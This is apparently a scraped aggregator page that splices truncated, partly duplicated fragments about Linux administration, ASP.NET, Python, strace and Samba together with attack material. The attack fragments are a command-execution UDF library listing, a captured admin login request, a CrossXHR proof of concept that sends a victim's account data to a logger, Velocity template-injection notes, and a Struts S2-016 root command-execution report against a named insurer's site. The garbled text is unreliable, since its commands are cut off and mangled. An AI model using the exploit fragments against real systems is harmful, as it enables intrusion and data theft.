In the command-line environment, it is cumbersome to mount and unmount USB disks by manually typing mount and Umount commands each time. In particular, the Mount command has very many parameters. For example, the partition type of the disk (VFAT, NTFS, etc.), the Mounted directory node, the identity of the user and group to mount (UID and GID), mount after the file and folder permissions (Umask) and so on. So, I wrote two scripts to automatically mount and unmount the USB disk separately. The fo
Linux View history record plus time stamp tipsYou must know that you are familiar with bash. Use history to output historical commands that you have entered, such as[Email protected]_web ~]# History | More6./test.sh7 Vim test.sh8./test.shBut this shows only the command, and does not show the time to execute the command, because the ~/.bash_history of the Save History command has no time saved.Add time stamp to history by setting environment variables export histtimeformat= "%F%T '
, the user root after the switch is used g001User group permissions[[email protected] ~]# newgrp g001[[email protected] ~]# touch Abc[[email protected] ~]# ll-d abc-rw-r--r--1 root g001 0 11:43 ABCGroupdel: Deleting a groupGroupdel g001
Third, other related commandsThe common commands involvedOther related ( user and user group view, etc.):ID, W, who, WHOAMI,SU
Basic usage SyntaxID: View user-related ID information;ID [OPTION] ... [USER]-u
Get object InformationTo get a variable, in addition to using isinstance () to determine whether it is a certain type of instance, there is no other way to obtain more information?For example, there are already definitions:class person (object ): def __init__ (self , Name, gender): se LF . Name = name self . Gender = genderdef __init__ (self , Name, gender, score): super (Student, self ). __init__ (Name, gender) self . Score = score def Who
new data connection, the connection properties select Microsoft OLE DB Provider for SQL Server, and then choose the server and database Tyjdb, and then when the test connection succeeds, press OK. Using this tool, you can quickly and accurately generate the database connection string that you want.
Connecting to a database
Create a new ASP.net project or windows.net application because the database access program for both is the same. When you drag a data connection from Server Explorer to
them. Then we add a new data connection, the connection properties select Microsoft OLE DB Provider for SQL Server, and then choose the server and database Tyjdb, and then when the test connection succeeds, press OK. Using this tool, you can quickly and accurately generate the database connection string that you want.
Connecting to a database
Create a new ASP.net project or windows.net application because the database access program for both is the same. When you drag a data connection from Se
database, the shell is run. If a command is specified, the command passes the command to the shell through the shell's-c parameter. If no command is specified, an interactive shell is executed.So, basically this command parameter is done by:Start a new shell-as for which shell, refer to the Shell environment variable assignment. If the $SHELL is empty, the SHELL defined in/etc/passwd will be used.If you pass a command name with the-s parameter (for example, Sudo-s
U realloc U setenv U strcpy U strncpy0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T s
=0.3Accept-Encoding: gzip, deflateReferer: http://**.**.**.**/admin/login.aspxCookie: ASP.NET_SessionId=ef1tpyjbj0qpnxtmjuohv2e5Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 233__VIEWSTATE=%2FwEPDwUKMTA4MzU1NjA4N2RkRnb4zXsRnFaFD5QYBk2TjtvQSXnQQ6Hn4qwNo9WElDM%3D__EVENTVALIDATION=%2FwEWBAKPi%2Br7CALyj%2FOQAgKVqs78BwL9kpmPAUHHL82XtJ7NqhK6TIUqokUPxBCTGvqWKQreGe6%2Bui3vtbUserName=admintbUserPwd=dsfsdfbtnOk=.
The database does not need to be written. The dba p
:
function test_get() {request = new CrossXHR();request.onreadystatechange = callback;request.open('GET', 'http://api.spreaker.com/whoami');request.send(); }
Then process the response. In this case, I send it to the log record, and then parse and save the sensitive information:Data = request. responseText; // contain the content of the/whoami httpGet ("/poc/logger. php? Data = "+ data); // send it to logger
following shows the variable name brute-force cracking with Burp, And the return value of the server is payload on the left.ChangeThe volume class seems useful because it returns the Class Object of an Object class. Google found the link https://velocity.apache.org/tools/releases/2.0/summary.html:You can see a method and an attribute:
We can combine $ class. inspect and $ class. type to construct any object. Then we can use runtime.exe c () to execute any command. This idea can be confirmed usi
A system vulnerability in huatai insurance has problems such as configuration leakage. Shell can threaten the Intranet.
St command execution/configuration Leakage
1 # Command ExecutionHttp://shop.ehuatai.com: 7777/esale/login/rapidBaojiaAction-baojia.action
Target: http://shop.ehuatai.com:7777/isale/actions/logonAction-logon.actionUseage: S2-016 Whoami: rootWebPath: /jboss/jboss-eap-ehuatai/jbossas/server/production/./deploy/isale.war/============
so far.
Example: uptime. The following is an example output after the command is executed:
PM up 4 day (s), 14 users, load average: 0.00, 0.01, 0.02
VI
Purpose: VI is a text editor.
Example: VI myfile.txt. This command starts Vito edit myfile.txt.
Wall
Purpose: Wall sends a specified message to all terminals.
Example: wall work sucks !!. After this command is executed, the following message is printed on all terminals:
Work sucks !!
WC
Purpose: Calculate and display the number of bytes, number
example,-e write = 1
-R: print the relative time of each system call.
-T add time information before each row in the output
-Tt adds time information before each row in the output, and the time is accurate to microseconds.
-Ttt adds time information before each line in the output, and the output is relative time.
-S specifies the length of the output string for each row (default value: 32)
Example of strace:Strace-t whoami # trace the executable pro
the length of each line of output string (default is 32)
examples of strace use:Strace-t whoami #跟踪whoami可执行程序, print execution time before output per line
Strace-p 17151-p 17152-p 17153 #同时跟踪进程17151, 17152, 17153
Strace-f-e trace=read,write-p 17151-o log #跟踪进程17151及子进程中read和write系统调用, output to log file
GDB Debugging ToolsGDB is a powerful UNIX program debugging tool released by the GNU Open source orga
whoami to view your user name
Sudo systemctl Enable SMB. Service # Start samba at startup
Sudo systemctl start SMB. Service # Start Samba immediately
Sudo systemctl restart SMB. Service # restart Samba immediately
Sudo firewall-cmd -- Permanent -- zone = public -- add-service = Samba # configure the firewall so that other computers can access your computer.
The following is a simple configuration example:
Mkdir/home/PublicChmod 777/home/Public
[Shar
.noarch.rpmSudo rpm-IVH adobe-release-i386-1.0-1.noarch.rpmSudo Yum-y install flash-plugin
7. install an audio/video decoder:
Wget http://www1.mplayerhq.hu/MPlayer/releases/codecs/all-20110131.tar.bz2Tar jxf all-20110131.tar.bz
Sudo mkdir-P/usr/lib/codecs
Sudo MV all-20110131/*/usr/lib/codecs
8. Configure samba
Sudo smbpasswd-a-uYour_username # Set the login user name and password. You can run whoami to view your user name
Sudo systemctl Enable SM
output
-P print
-D Delete
-E: Allow multiple edits
When using sed to retrieve rows, pay special attention to the use of sed-n's ### G' filename. The sed \ (\) function can remember part of the regular expression, \ 1 is the first remembered mode, that is, the matching content in the first parentheses, \ 2 the second remembered mode, that is, the matching content in the second parentheses, sed can remember up to 9.
The selection of actual characters is best to be unique. Regular Expressions are
/lib/codecs
Sudo cp all-20110131/*/usr/lib/codecs
64-bit system:
Sudo mkdir-p/usr/lib64/codecs
Sudo cp all-20110131/*/usr/lib64/codecs8. Configure samba
Sudo smbpasswd-a-UYour_username # Set the login user name and password. You can run whoami to view your user name
Sudo systemctl enable smb. service # Start samba at startup
Sudo systemctl start smb. service # start samba immediately
Sudo systemctl restart smb. service # restart samba immediately
Sud
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.